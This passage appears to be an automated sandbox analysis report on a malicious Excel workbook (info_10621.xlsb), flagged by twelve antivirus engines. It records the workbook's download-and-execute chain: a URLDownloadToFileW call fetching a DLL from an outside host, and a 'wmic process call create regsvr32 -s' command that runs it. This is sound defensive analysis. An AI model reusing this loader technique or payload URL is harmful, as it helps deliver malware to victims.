NtProtectVirtualMemory June 1, 2021, 5:18 p.m.	process_identifier: 2560 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x6d4e1000 process_handle: 0xffffffff	1

Creates hidden or system file (3 events)

Time & API	Arguments	Status
NtCreateFile June 1, 2021, 5:17 p.m.	create_disposition: 2 (FILE_CREATE) file_handle: 0x000003a4 filepath: C:\Users\test22\AppData\Local\Temp\~$info_10621.xlsb desired_access: 0xc0110080 (FILE_READ_ATTRIBUTES\|DELETE\|SYNCHRONIZE\|GENERIC_WRITE) file_attributes: 2 (FILE_ATTRIBUTE_HIDDEN) filepath_r: \??\C:\Users\test22\AppData\Local\Temp\~$info_10621.xlsb create_options: 4198496 (FILE_NON_DIRECTORY_FILE\|FILE_SYNCHRONOUS_IO_NONALERT\|FILE_DELETE_ON_CLOSE) status_info: 2 (FILE_CREATED) share_access: 1 (FILE_SHARE_READ)	1
NtCreateFile June 1, 2021, 5:17 p.m.	create_disposition: 2 (FILE_CREATE) file_handle: 0x0000042c filepath: C:\Users\test22\AppData\Local\Temp\~$info_10621.xlsb desired_access: 0xc0110080 (FILE_READ_ATTRIBUTES\|DELETE\|SYNCHRONIZE\|GENERIC_WRITE) file_attributes: 2 (FILE_ATTRIBUTE_HIDDEN) filepath_r: \??\C:\Users\test22\AppData\Local\Temp\~$info_10621.xlsb create_options: 4198496 (FILE_NON_DIRECTORY_FILE\|FILE_SYNCHRONOUS_IO_NONALERT\|FILE_DELETE_ON_CLOSE) status_info: 2 (FILE_CREATED) share_access: 1 (FILE_SHARE_READ)	1
NtCreateFile June 1, 2021, 5:17 p.m.	create_disposition: 2 (FILE_CREATE) file_handle: 0x00000438 filepath: C:\Users\test22\AppData\Local\Temp\~$info_10621.xlsb desired_access: 0xc0110080 (FILE_READ_ATTRIBUTES\|DELETE\|SYNCHRONIZE\|GENERIC_WRITE) file_attributes: 2 (FILE_ATTRIBUTE_HIDDEN) filepath_r: \??\C:\Users\test22\AppData\Local\Temp\~$info_10621.xlsb create_options: 4198496 (FILE_NON_DIRECTORY_FILE\|FILE_SYNCHRONOUS_IO_NONALERT\|FILE_DELETE_ON_CLOSE) status_info: 2 (FILE_CREATED) share_access: 1 (FILE_SHARE_READ)	1

Creates a suspicious process (1 event)

cmdline

wmic process call create 'regsvr32 -s C:/Users/Public/CVR78F2.tmp.cvr'

Uses Windows utilities for basic Windows functionality (1 event)

cmdline

wmic process call create 'regsvr32 -s C:/Users/Public/CVR78F2.tmp.cvr'

File has been identified by 12 AntiVirus engines on VirusTotal as malicious (12 events)

Arcabit	Trojan.Excel.D
Symantec	Scr.Malcode!gen
ESET-NOD32	DOC/Agent.GU
BitDefender	Trojan.Excel.D
MicroWorld-eScan	Trojan.Excel.D
Emsisoft	Trojan.Excel.D (B)
FireEye	Trojan.Excel.D
Ikarus	Trojan.Excel
GData	Trojan.Excel.D
Microsoft	Trojan:Script/Woreflint.A!cl
MAX	malware (ai score=88)
Fortinet	MSExcel/Agent.3F9F!tr

Network communications indicative of a potential document or script payload download was initiated by the process excel.exe (1 event)

Time & API	Arguments	Status	Return	Repeated
URLDownloadToFileW June 1, 2021, 5:17 p.m.	url: https://megoseri.com/app.dll stack_pivoted: 0 filepath_r: C:/Users/Public/CVR78F2.tmp.cvr filepath: C:\Users\Public\CVR78F2.tmp.cvr	1	0	0

One or more non-whitelisted processes were created (1 event)

parent_process

excel.exe

martian_process

wmic process call create 'regsvr32 -s C:/Users/Public/CVR78F2.tmp.cvr'

Uses WMI to create a new process (1 event)

Time & API	Arguments	Status	Return	Repeated
IWbemServices_ExecMethod June 1, 2021, 5:17 p.m.	inargs.CurrentDirectory: None inargs.CommandLine: regsvr32 -s C:/Users/Public/CVR78F2.tmp.cvr inargs.ProcessStartupInformation: None outargs.ProcessId: 2288 outargs.ReturnValue: 0 flags: 0 method: Create class: Win32_Process	1	0	0

info_10621.xlsb

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